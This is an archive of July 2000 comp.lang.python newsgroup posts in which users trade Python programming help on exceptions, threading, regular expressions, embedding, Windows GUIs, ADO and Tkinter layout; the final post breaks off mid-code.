References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com>
Message-ID: <8m26fm$ila$4@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
[snip]
>     Personally, if my email client died because of some uncaught exception
> versus me being able to close out my message beacuse of some bug in a display
> routine, I'd rather be able to close out and save my 20k message than have to
> retype it.  There is more to programs than databases.

Then have your program catch your exceptions! That's one of the main
reasons for the existence of the exception handling mechanism; to recover
gracefully from the unexpected.

It is possible to catch *all* exceptions, if you're worried about that.
Or whole groups of exceptions, if you like. They're in a hierarchy.

And face it, bugs can cause data-loss in any programming language; 
Perl, Python, or whatever. Some languages just have nicer mechanisms to
recover from bugs than others.

[snip]
>     No, I made sure there was a number in there, Python is the one that
> decided to drop a None in.

No, there wasn't a number there, as otherwise Python wouldn't have
dropped in None. The only alternative is that your regular expression
is buggy.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From aahz at netcom.com  Fri Jul 14 23:08:47 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 15 Jul 2000 03:08:47 GMT
Subject: using threading module
References: <396fd2ff.3598724@news.prodigy.net>
Message-ID: <8kokjv$tjf$1@slb7.atl.mindspring.net>

In article <396fd2ff.3598724 at news.prodigy.net>,
Victor Muslin <victor at prodigy.net> wrote:
>
>I tried using the threading module with the following simple program:
>
>	#!/usr/bin/python
>
>	from threading import *
>
>	reps = 10
>
>	def f1(msg='xxx'):
>		for i in range(0, reps):
>			print 'f1', msg, i
>
>	t1 = Thread(target=f1,args=('bar'))
>	t1.start()

Try
	t1 = Thread(target=f1,args=('bar',))

Note the extra comma.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From petersc at stud.ntnu.no  Tue Jul  4 17:57:39 2000
From: petersc at stud.ntnu.no (Peter Schneider-Kamp)
Date: Tue, 04 Jul 2000 21:57:39 +0000
Subject: (s)re module code break
Message-ID: <39625DD3.ED9BF9D7@stud.ntnu.no>

I just noticed an issue with the new re module. Maybe
it is old stuff, I don't know. Just to be sure:

using re.compile yields a SRE_Pattern object
(as of 2.0b1) whose method demands 3 arguments.

There is a lot of code which lives happily
just supplying 2 arguments and having count
default to 0 (until 1.6a2).

I added a 0 as third parameter and my program
once again ran happily.

Does anyone know if this behaviour of sre will persist?

worried-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From jepler.lnk at lnk.ispi.net  Wed Jul 12 08:34:23 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Wed, 12 Jul 2000 12:34:23 GMT
Subject: Circular reference problem -- advice?
References: <396A1EC6.6738CFCC@alcyone.com> <8kdref$j4t$1@nnrp1.deja.com> <396AAE98.F851708B@alcyone.com>
Message-ID: <slrn8mmo0r.he2.jepler.lnk@potty.dsndata.com>

On Mon, 10 Jul 2000 22:20:24 -0700, Erik Max Francis
 <max at alcyone.com> wrote:
>It actually is necessary for my purposes, since the strings that is used
>for dispatching will not be a status code (a three digit number as a
>string), not actually the name of the method to be invoked.  (I simply
>showed it that way for the purposes of the sample code; certainly in the
>example I showed you are correct.)
>
>Thanks, though.

You can use a method like finding a method named '"code_%03d" % status':

class C:
	def dispatch(self, status, *args):
		g = getattr(self, "code_%03d" % status, None)
		if g:
			apply(g,args)
	def code_000(self, arg1, arg2):
		print "the args were", arg1, arg2

c=C()
c.dispatch(0, "hi mom", 36)  # -> "the args were hi mom 36"


From gbreed at cix.compulink.co.uk  Fri Jul 14 06:39:22 2000
From: gbreed at cix.compulink.co.uk (gbreed at cix.compulink.co.uk)
Date: 14 Jul 2000 10:39:22 GMT
Subject: ASP Questions
References: <m6qrms8p9min910o1ok1mlbtg0bi33hhts@4ax.com>
Message-ID: <8kmqkq$40b$1@plutonium.compulink.co.uk>

In article <m6qrms8p9min910o1ok1mlbtg0bi33hhts at 4ax.com>,  (Sam) wrote:

> Session("key") = value is a VBScript specific thing.  Its bypassing
> the default method of Session which in this case is probably Item.
> I'm not sure off hand.

Waldemar sorted this out -- thanks Waldemar.

> >Response.Redirect doesn't terminate execution of the script.  I'm 
> getting >round this by throwing an exception, but is there a command 
> that can do >the same job more cleanly?
> 
> Have you tried a return statement?  I'm guessing here but the asp page
> is probably being executed in some kind of invisible function.

No, doesn't work.

> >I ran a script with an infinite loop once.  How should I have 
> terminated >it (other than by proof reading my code better)?
> 
> Not sure.  The same has happened to us in vbscript and we ended up
> shutting down the server.  He forgot the recordset.movenext while in a
> loop processing a recordset.  Typically if you can get to the box fast
> enough before the ram is swallowed up you can shutdown iis.  Otherwise
> I think it was the power button because the box was totally
> unresponsive.  There may be a page execution timeout that can be
> specified in iis.  I don't remember off hand.

It was MoveNext for you as well!

> #Here is the line you are probably missing.
> cmd.CommandType = constants.adCmdStoredProc

No, I'm setting it to 4 which should be equivalent.

> #Now I append the parameters...
> for parm in params:
>     cmd.Parameters.Append(cmd.CreateParameter(parm[0], parm[1],
> constants.adParamInput, parm[2], parm[3]))

Ah, but try

params = list(params)
params.reverse()

before that.  I don't see why it should make a difference, but it does.

> The reason that ado is ignoring your parameters is that the default
> command type is adCmdText.  I guess when it is text it doesn't bother
> to look for any parameters associated with the command object.  Though
> it might if your sql looked like "select * from whatever where id = ?"
> IIRC ? is used in the data environment designer in VB to denote a
> parameter in  an sql call.

It isn't ignoring the parameters, it's ignoring their names.  It would be 
nice to supply the parameters in an arbitrary order.  Seeing as the names 
have to be supplied, you would think they were being used for something.


          Graham


From python-list at teleo.net  Thu Jul 20 15:48:17 2000
From: python-list at teleo.net (Patrick Phalen)
Date: Thu, 20 Jul 2000 12:48:17 -0700
Subject: zip() : how about braid()
In-Reply-To: <397746c9.39446991@news.iol.ie>
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397746c9.39446991@news.iol.ie>
Message-ID: <00072012535104.03994@quadra.teleo.net>

[Sean Mc Grath, on Thu, 20 Jul 2000]
:: Two suggestions:
:: 	1) raff
:: 	2) twingle
:: 
:: "raff" is an invented verb form of "raffia", fibers of which are used
:: to weave hats, baskets etc. (<nerd>Spot the Monty Python
:: connection?</nerd>)
:: 
:: "twingle" just sounds beautiful...


Heh. Trust an Irishman to have a way with words. ;-)

I agree that inventing a new word to name this specific
notion is preferable to inviting namespace collision (as with 'zip').

I like both "raff" and "twingle." (Twingle is perhaps a combination
form -- twist and mingle?)



From db3l at fitlinxx.com  Wed Jul 19 21:51:41 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 19 Jul 2000 21:51:41 -0400
Subject: Making Windows GUI programs
References: <8F776CE84nickperkinsusanet@203.2.75.243>
Message-ID: <un1jdh8lu.fsf@ctwd0143.fitlinxx.com>

nick_p at dingoblue.net.au (Nicko) writes:

> Hi. I was wondering if anyone could point me in the direction of some GUI 
> help for windows. I would like to write a program using the windows API 
> set, but the help file that came in the win32all package doesn't make any 
> sence to me. If someone can point me in the direction of maybe a tutorial 
> or a nice document that can help, I would be greatful

As another responder pointed out there are other alternatives to GUIs
under Windows, including tk as included with Python or (my personal
favorite) wxPython (http://www.wxpython.org).  So if you're just
trying to do something graphical and have only selected the native API
since it was included in win32all, you might peek at the other
alternatives first.  You can mix other GUI approaches with base Win32
API calls without problems so you can still use the other modules from
win32all for other Windows-specific services.

But if you specifically want to use the Windows API (and note you
still have the question of basic GUI API versus a framework like MFC),
the win32all extensions just wrap the existing API, so any
documentation for the API in the context of Windows itself should be
fine and usable (not to mention the plethora of books).

Doing some web searches should probably yield a ton of introductions
and what not, but worst case you can always use Microsoft's own MSDN
library documentation at:

	http://www.msdn.microsoft.com/library/default.asp

The library has all sorts of documents, partial books and reference
material about all facets of the API (basic API documentation is
beneath the "Platform SDK" - MFC is part of the Visual C++ documentation).

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From urner at alumni.princeton.edu  Sat Jul 29 00:53:05 2000
From: urner at alumni.princeton.edu (Kirby Urner)
Date: Fri, 28 Jul 2000 21:53:05 -0700
Subject: Newbie DATA STRUCTURES Question.
References: <398248BC.32DE3CC@nycap.rr.com>
Message-ID: <ppn4osspjd0ebekn5vv68r4btd59848e6v@4ax.com>

gbp <gpepice1 at nycap.rr.com> wrote:

>
>Hi all,
>
>I have experience with Perl but non with Python.  
>
>I need to write a script to read a large text file into a structured
>format.

Not sure if this is what you mean, but suppose you create 
a text file .\ocn\data.txt:

this is record A
this is record B
this is record C

then you can read it into a list like so:

 >>> myfile = open(r".\ocn\data.txt", 'r')  # see note
 >>> listrecs = myfile.readlines()
 >>> listrecs
 ['this is record A\012', 'this is record B\012', 'this is record C\012']
 >>> myfile.close()

 \012 must be unicode for newline.

 >>> unicode('\n')
 u'\012'

Yep.

Once you have 'listrecs' with all your records, you can
do stuff like:

      for rec in listrecs:
          dostuff(rec)

or    map(dostuff,listrecs)

i.e. you're stepping through the records one record at a time.

Kirby

Note:

in

 >>> myfile = open(r".\ocn\data.txt", 'r')

the leading r, in front of the first quoted string, just
means you don't have to escape the backslashes.  You could
also go:

 >>> myfile = open(".\\ocn\\data.txt", 'r')


From donn at u.washington.edu  Thu Jul 27 15:39:32 2000
From: donn at u.washington.edu (Donn Cave)
Date: 27 Jul 2000 19:39:32 GMT
Subject: Local user modules?
References: <Pine.SOL.3.96.1000727103018.22972B-100000@condor.ee.washington.edu>
Message-ID: <8lq35k$41ri$1@nntp6.u.washington.edu>

Quoth Steve Juranich <sjuranic at condor.ee.washington.edu>:
| Without further ado, here's my question: Is it possible for a user to write
| a module in C/C++ and make that available to the Python interpreter
| *without* needing to edit systemfiles like
| ${PYTHON_HOME}/Modules/Setup.local?

Yes.

| Is is possible for me to add NumPy to my Python path without actually
| sticking it in the main Python system path?

I assume so.

| So far, this has been my biggest frustration with Python.  If there is
| somewhere where I could RTFM, please let me know.  I would be more than
| happy to do this, but I must know how to get around this problem.

To generalize, I would divide this into three steps.

1. Compile dynamically loadable, or "shared", modules.
2. Pick your place for them.
3. Arrange to set sys.path accordingly.

(1) is most of the work.  It sounds like you may have that under
    control, though.  The end result to make "import spud" work
    would a file named "spudmodule.so", with one external entry
    point "void initspud()".  Python can take it from there.
(2) would be a non-issue, except that you may very well have only
    NFS mounted disk space at your disposal.  Most platforms can
    handle loading from NFS, but there are some weird issues that
    come up with dynamically loaded modules.  If in the end you
    must use NFS, test the modules first out of /tmp or something,
    and then when you have moved to NFS, look out for the possibility
    that you are running an older version of the module you just
    rebuilt.
(3) you already know how to do.  

	Donn Cave, University Computing Services, University of Washington
	donn at u.washington.edu


From frr at mindless.com  Fri Jul 21 09:39:52 2000
From: frr at mindless.com (Fernando Rodríguez)
Date: Fri, 21 Jul 2000 13:39:52 GMT
Subject: MySQL on Win9X
References: <slrn8ngf36.f1p.kain@cableadmin.com>
Message-ID: <IoYd5.199$kp4.2368@m2newsread.uni2.es>

"Scott" <kain at cableadmin.com> escribi? en el mensaje
news:slrn8ngf36.f1p.kain at cableadmin.com...
> Hello,
>
> Are there any pre-compiled MySQL modules for windows?  I've found the
> sources but don't have nor can I install a compiler on this machine.

I'm looking for the same thing, so please let me know if you ever find
one. :-)




From db3l at fitlinxx.com  Tue Jul 18 17:51:56 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 18 Jul 2000 17:51:56 -0400
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <u8zuzp0n7.fsf@ctwd0143.fitlinxx.com>

Andrew Kuchling <akuchlin at cnri.reston.va.us> writes:

> This is a first experiment in whether I can make a useful,
> interesting, somewhat coherent summary of python-dev activity.  
> If reaction is favorable, and time permits, it may become a biweekly 
> posting.

This seems quite useful - is there any "proper" way to send feedback
on mail on python-dev without actually being on the list?

In particular:

>   * /F was his usual "patching machine" self, integrating PythonWin's
>   win32popen function so that os.popen will now work correctly on
>   Windows as well as Unix, (...)

Does anyone know if this mean that the existing 1.5.2 behavior of
os.popen under NT (with a console) breaks with respect to the result
code of the process being returned on the close() operation?  I know
that NT with a console was really the only case where the native
popen() functioned properly, but it did function just fine, and I have
a lot of code that depends on child process exit codes, so I'm sure
that someone else out there probably does as well.

I think I saw a discussion of an earlier patch by Fredrik that just
took care of the stdin/stdout/stderr file handles for the NT problem
without a console, but grabbing the latest CVS copy seems to have
pulled in all the stuff from the PythonWin extensions.  They're much
better on most Windows platforms, but losing the exit code of the
child process makes the popen() family much less useful in many cases
and I think it's an important aspect to preserve whereever possible.

My code peek was only a quick glance, so if this issue has been
handled in the integration of the code into the Python core, then
that's great.

Thanks.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From gmcm at hypernet.com  Mon Jul 17 14:01:36 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 17 Jul 2000 18:01:36 GMT
Subject: Can't load .pyd files from embedded Python interp
References: <39722B90.A41E02B5@tds.net> <8F73D685Egmcmhypernetcom@199.171.54.194> <3973384F.D6964D88@tds.net>
Message-ID: <8F748426Egmcmhypernetcom@199.171.54.155>

Edward K. Ream wrote:

>Gordon McMillan wrote:
>
>> Most people just use python15.dll from their embedding app so both get
>> the same copy. 

[snip]

>Gordon, thanks so much for this reply.  This was precisely what I
>needed.
>

[snip]

>This illustrates one of the most common failings in documentation:
>failing to tell _what_ the reader is to do and _why_.  Much
>documentation just jumps in and explains _how_ to do something.  I just
>reviewed the Python Extending and Embedding docs.  There is no mention
>that one must link against python15.dll, and certainly no hint about
>why that is necessary.  One or two sentences in the docs might have
>saved me about a week of enjoyable, but useless, work.

Well, this is a requirement that's unique to Windows. Unixen (those that 
allow dynamic linking) do (essentially) a full link at runtime, so there's 
no problem getting symbols from the executable. There's also no concept of 
an "import lib". And Windows doesn't spell "import lib" differently than 
"static lib", so it's easy to mistake "python15.lib" for a reference to a 
static lib, when in fact it means the import lib for python15.dll.

It's difficult to know where to document all the platform specific aspects 
of embedding / extending (especially when it's kind of a moving target). I 
would guess that most people started by building Python from source, and 
then playing with the examples.

>I'll write up my experiences when I've successfully embedded Python in
>my app.  For now the conclusion seems to be that one only need link in
>C:\Windows\System\python15.dll to the app.  There are some details
>specific to Borland, but presumably they won't be difficult.

I hope you're right about that.

- Gordon


From dgoodger at bigfoot.com  Sun Jul 23 00:48:50 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sun, 23 Jul 2000 00:48:50 -0400
Subject: Looping on more than one list
In-Reply-To: <3979C6F4.B1FF1800@atlsci.com>
References: <3979C6F4.B1FF1800@atlsci.com>
Message-ID: <B59FF171.6878%dgoodger@bigfoot.com>

on 2000-07-22 12:08, ahmed Bouferguene (aboufer at atlsci.com) wrote:
> Do no know much of python, but I am wondering whether it is possible
> to loop
> on more than one list

A more elegant solution is currently in the works, but for now, you can use:

>>> map(None,"abcd",[1,2,3])
[('a', 1), ('b', 2), ('c', 3), ('d', None)]

"abcd" is a sequence of 4 items, of course. The above doesn't stop on
exhaustion of the shortest list though. If it must, you can use:

>>> a = [1,2,34]
>>> b=["a", "b", "d"]
>>> for (x,y) in map(None,a,b):
...   print x,y
... 
1 a
2 b
34 d
>>> c=[1,2,3,4]
>>> for (x,y) in map(None,b,c):
...   if None in (x,y): break   # required for uneven sequences,
                                # NOT containing None!
...   print x,y
... 
a 1
b 2
d 3

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From NoSpam at NoSpam.com  Wed Jul 12 10:23:54 2000
From: NoSpam at NoSpam.com (Tom)
Date: Wed, 12 Jul 2000 14:23:54 GMT
Subject: Looking for a tree widget with control of text color
References: <SMta5.147482$7o1.3697839@news2.rdc1.on.home.com> <opPa5.8337$%wF2.239927718@news.randori.com>
Message-ID: <_b%a5.155712$7o1.3884807@news2.rdc1.on.home.com>

This surprises me.
It is my understanding that wxPython is a 'native' gui, so, on Windows, its
tree control would be implemented using the windows tree view common
control, which is dynamic but doesn't support differing text colors for
different nodes.

Am I misunderstanding wxPython?  Or does wxPython extend the standard tree
control in some way?

Thanks,

Tom.

"Robin Dunn" <robin at alldunn.com> wrote in message
news:opPa5.8337$%wF2.239927718 at news.randori.com...
> >
> > Is there a tree widget for wxPython or TKinter that support setting the
> text
> > color (foreground or background) for each node?
> >
>
> The wxTreeCtrl in wxPython can do it.
>
>
> --
> Robin Dunn
> Software Craftsman
> robin at AllDunn.com
> http://wxpython.org     Java give you jitters?
> http://wxpros.com        Relax with wxPython!
>
>
>




From Richard.Jones at fulcrum.com.au  Thu Jul 27 21:37:46 2000
From: Richard.Jones at fulcrum.com.au (Richard Jones)
Date: Fri, 28 Jul 2000 11:37:46 +1000
Subject: Perl is worse! (was: Python is Wierd!) 
In-Reply-To: Message from Anthony Baxter of 2000-Jul-28 11:17:31,
            <200007280117.LAA23637@mbuna.arbhome.com.au> 
Message-ID: <200007280137.LAA30715@envy.fulcrum.com.au>

[Anthony Baxter]
> 
> >>> Steve Lamb wrote
> >     Range returns an error because of a bad type being stuffed into it.  Pe
> rl
> > at least sees that it is a number and makes the conversion itself.  I had t
> o
> > get around it by changing the foo assignment line to:
> > foo = int(match.group(3))
> 
> Euw! No, the "oh, I know what you want that to be, I'll change it
> for you" is my #1 all-time perl hate. I want a 
> "use really_strict_and_leave_my_types_alone" option before I ever
> consider looking at perl for anything ever again. Particularly when
> combined with magic linenoise - use the wrong bit of linenoise, and
> suddenly your large complex datastructure is an int. Yaaay.

   Hey, don't worry about mis-using the linenoise - you just have to _look_ at 
the damn structure in Perl the wrong way and suddenly it's something else. 
Automagical conversion of data based on context and automagical creation of 
undef variables (yes, even when "use strict") are two of several reasons why 
you just don't use Perl for complex data applications.


       Richard





From bjorn at roguewave.com  Thu Jul 20 13:00:54 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 20 Jul 2000 11:00:54 -0600
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <m2snt4or2h.fsf@spiff.home.com> <m3n1jc4uh4.fsf@greebo.nodomain.de>
Message-ID: <39773046.D57C311D@roguewave.com>

Bernhard Herzog wrote:
> 
> Agreed, but the confusion comes from allowing floating point literals to
> end or start with the decimal point (2.+.5 is valid python).

Hey, someone allready implemented .+ on my machine <wink>

f:\pork>python
Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> 5.+3
8.0
>>>

-b



From quango at watervalley.net  Mon Jul 24 17:20:28 2000
From: quango at watervalley.net (Chris Lawrence)
Date: Mon, 24 Jul 2000 21:20:28 GMT
Subject: kjbuckets
References: <8kflcs$8qv$1@einstein.ebicom.net>
Message-ID: <wq2f5.7047$ga2.165154@newsread2.prod.itd.earthlink.net>

On Tue, 11 Jul 2000 12:26:52 -0600, gene at ozob.net <gene at ozob.net> wrote:
>I am trying to install a program call routeplanner which requires
>kjbuckets which appears to be an extension of python. Kjbuckets docs say
>to read the python extension manual to learn how to compile kjbuckets into
>pythons. However I can seem to locate this document.
>
>I would appreciate if someone would give me a clue.

Incidentally, versions 0.3 and later of routeplanner don't need
kjbuckets; it makes the program faster, but it's non-essential.


Chris
-- 
=============================================================================
|        Chris Lawrence        |     Get rid of Roger Wicker this year!     |
|   <quango at watervalley.net>   |      http://www.lordsutch.com/ms-one/      |
|                              |                                            |
|   Grad Student, Pol. Sci.    |   Visit the Lurker's Guide to Babylon 5:   |
|  University of Mississippi   |   <*> http://www.midwinter.com/lurk/ <*>   |
=============================================================================


From kuchler at ajubasolutions.com  Mon Jul 24 19:03:09 2000
From: kuchler at ajubasolutions.com (Dan Kuchler)
Date: Mon, 24 Jul 2000 16:03:09 -0700
Subject: tkinter: grid: expand and fill
References: <8lhrbd$t4v$1@nnrp1.deja.com> <8lhs6l$tpt$1@nnrp1.deja.com> <8lhurd$3d$1@nnrp1.deja.com>
Message-ID: <397CCB2D.DFD84326@ajubasolutions.com>

Keith Murphy wrote:
> 
> here's my example that still doesn't work:
> 
> class scrolledtext:
>     def __init__(self, master, scrollflags=(NO,NO)):
>         stxt = self.stxt = Frame(master)
>         txt = Text(stxt, height=5)
>         txt.grid(row=0, column=0, sticky=NSEW)
> 
>         if scrollflags[0]:
>             hbar = Scrollbar(stxt, orient=HORIZONTAL, takefocus=NO,
> width=10)
>             hbar.grid(row=1, column=0, sticky=W+E, columnspan=2)
>             txt.config(xscrollcommand=hbar.set)
> 
>         if scrollflags[1]:
>             vbar = Scrollbar(stxt, orient=VERTICAL, takefocus=NO,
> width=10)
>             vbar.grid(row=0, column=1, sticky=N+S)
>             txt.config(yscrollcommand=vbar.set)
> 
> ...called with the following line:
> statustxt = scrolledtext(sbar, (YES, YES))
> where sbar is a frame.
> 
> i want the text to fill the area except for the spots where the scroll
> bars are.  i also want the window to be able to be resized.  help!
> 
> thanks,
> -->keith
> 
> > > is there a way to make a frame, that's been formatted using grid,
> > expand
> > > to fill the space it is given?

In tcl/tk this would be solved by making column 0 and
row 0 have a weight of 1 and by making column 1 and row
1 have a weight of 0.

This would be done using 'grid columnconfigure' and 'grid
rowconfigure' in combination with the sticky code that you
already added.

If you can find the python equivalent of setting the weight
of the columns and rows, I think your code should work.

--Dan


From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 16:40:12 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 16 Jul 2000 20:40:12 GMT
Subject: "Intellisense" drop-down...
Message-ID: <3bQZEC$jK9@openbazaar.net>

I have found no way of defining new key combinations to select the currently
highlighted word in the "Intellisense" drop-down list.  For example:

import win32api
win32api._
        | AbortSystemShutdown |
        | Apply               |
        | Beep                |
        -----------------------

I hightlight "Apply" and the only key I can use to make "Apply" appear and
the list to disappear is "Tab".  I want other keys to trigger this.  The
default.cfg file only lists this:

Tab               = TabKey

...which doesn't mean much to me.  I mean, I don't want to add "Enter =
TabKey", since that's just silly.

Anyone??  Bueller??

Thanks!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 12:35:56 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 16 Jul 2000 16:35:56 GMT
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
References: <963764534.1476580377@news.demon.co.uk>
Message-ID: <Mvlc5.87920$W35.2015766@news20.bellglobal.com>

You may want to hook up with the guys at ActiveState for your Win32 version
of VisualPython:

http://www.activestate.com/Products/VisualPython.html

Unless both of you came up with the name "Visual Python" to mean totally
different things??

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Phil Thompson" <phil at river-bank.demon.co.uk> wrote in message
news:963764534.1476580377 at news.demon.co.uk...
> Visual Python is aimed at KDE and GNOME application developers and allows
you
> to easily embed Python as a GUI enabled scripting language in your
application.
>
> It includes KDE and GNOME APIs to manage Python interpreters, scripts and
the
> communications between running scripts and your application.
>
> Users benefit from a common scripting language allowing them to develop
> scripting skills that are re-usable with all their applications. The same
> Visual Python script uses KDE widgets when run from a KDE application, and
> GNOME widgets when run from a GNOME application.
>
> When used in conjunction with tools like SWIG and SIP to expose
application
> specific functionality to scripts, developers can provide their users with
the
> ability to extend their application in many ways.
>
> The Visual Python home page is at http://www.thekompany.com/projects/vp/.
>
> Phil




From wlfraed at ix.netcom.com  Tue Jul 11 12:04:20 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Tue, 11 Jul 2000 09:04:20 -0700
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com> <B59016E2.6043%dgoodger@bigfoot.com> <8kelji$3i4$1@snic.vub.ac.be>
Message-ID: <6fgmmscedvt6kkci9ll6khh7kebj8dq7gd@4ax.com>

On 11 Jul 2000 08:24:18 GMT, Thomas Hamelryck <thamelry at vub.ac.be>
declaimed the following in comp.lang.python:

> 
> I remember the anouncement very well. Probably because I was laughing out loud
> when I saw that the prize was some Fortran compiler. 
>
	And the simulation package is designed to work with FORTRAN, of
course... Wonder if it is anything like XDS SL-1 which generated very
ugly FORTRAN-IV that then needed to be compiled, or is just a
link-library.

--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From herzog at online.de  Thu Jul 20 12:49:59 2000
From: herzog at online.de (Bernhard Herzog)
Date: 20 Jul 2000 18:49:59 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <m2snt4or2h.fsf@spiff.home.com>
Message-ID: <m3n1jc4uh4.fsf@greebo.nodomain.de>

Tim Hochberg <tim.hochberg at ieee.org> writes:

> aahz at netcom.com (Aahz Maruch) writes:
> 
> > Huaiyu Zhu  <huaiyu_zhu at yahoo.com> wrote:
> > >
> > >        matrix          element      names (with prefix m or e)
> > >          +               .+            add
> > >          -               .-            sub
> > 
> > I am strongly opposed to operators of the form ".+".  What happens if
> > take an expression of the form "5.+matrix"?  No, that goes against the
> > Python rule of having zero ambiguity.
> 
> Note that if .+, etc are matrix operations, there is no ambiguity

AFAICT, there's no ambiguity at all, at least from the parser's point of
view.

   5.+matrix 

already is legal python and equivalent to

   5. + matrix

Introduction of a .+ operator won't change that.

> since (5.)+A, etc. is not a legal expression,

It's syntactically legal python. It may lead to runtime errors, of
course, but that doesn't have anything to do with matrices in
particular.

> so the only interpretation is 5.(+A).

You want to call a float?

> Still it looks confusing. 

Agreed, but the confusion comes from allowing floating point literals to
end or start with the decimal point (2.+.5 is valid python).

The best way to avoid confusion is to surround all binary operators (or
at least the new .-operators) with whitespace. "5 .+ matrix" only has
one interpretation if .+ is a legal operator.


-- 
Bernhard Herzog   | Sketch, a drawing program for Unix
herzog at online.de  | http://sketch.sourceforge.net/


From johngrayson at home.com.bbs  Sat Jul 15 10:00:01 2000
From: johngrayson at home.com.bbs (johngrayson at home.com.bbs)
Date: 15 Jul 2000 14:00:01 GMT
Subject: help with tkinter coding
Message-ID: <3bPZI1$k0K@openbazaar.net>

In article <396FDD54.E2DD84FF at structurex.net>,
  walter hanagriff <walter111 at structurex.net> wrote:
> i got this file from a person on the list not too long ago, thanks for
> this, it is better then what i was thinking of before
> just 2 questions:
>   first, how can i make the frame that is to the right of the first
one
> appear on the bottom of it instead
>   second, how do i write more then just a label into the second frame,
> in the second frame is going to be a new set of options depending on
> which option was picked in the first frame, so how do i do that?
> this code works as a standalone
>
> -- File test.py
> #!/usr/bin/python
> from Tkinter import *
>
> class Main:
>     def __init__(self, root):
>         # The top label.
>         text = 'this program figures the area, perimeter, and power of
> n'
>         text = text + '\n' + '_'*len(text)
>         Label(root, text=text).pack(side=TOP, fill=X)
>
>         # The 'main' panel  to command the option frame to show.
>         self.var = StringVar()
>         self.var.set('power')
>         main = Frame(root, bd=2, relief=SUNKEN)
>         Radiobutton(main, text="1 = Find the power of a number",
> value='power',
>                     command=self.update_frame,
> variable=self.var).pack(anchor=W)
>         Radiobutton(main, text="2 = Find the area of a shape",
> value='area',
>                     command=self.update_frame,
> variable=self.var).pack(anchor=W)
>         Radiobutton(main, text="3 = Find the perimeter of a shape",
> value='perim',
>                     command=self.update_frame,
> variable=self.var).pack(anchor=W)
>         Button(main, text="Close", command=root.destroy).pack(padx=10,
> pady=10)
>         main.pack(side=LEFT, padx=5, pady=5)
>
>         # Create 3 frames, one for each option.
>         self.frames = { 'power': Frame(root),
>                         'area':  Frame(root),
>                         'perim': Frame(root) }
>
>         # Populate the option frames at your convenience.
>         prefix = 'this frame is where you put information to get '
>         list = (('power', 'power of n'),
>                 ('area',  'the area of a shape'),
>                 ('perim', 'the perimeter of a shape'))
>         for (frame_name, text) in list:
>             frame = self.frames[frame_name]
>             text = prefix + text
>             text = text + '\n' + '_'*len(text)
>             Label(frame, text=text).pack(expand=YES, fill=BOTH)
>
>         # We start with one frame.
>         self.update_frame()
>
>     def update_frame(self):
>         # Unpack every option frame.
>         for n in self.frames.keys(): self.frames[n].pack_forget()
>         # Pack the current option frame.
>         self.frames[self.var.get()].pack(side=RIGHT)
>
> if __name__== '__main__':
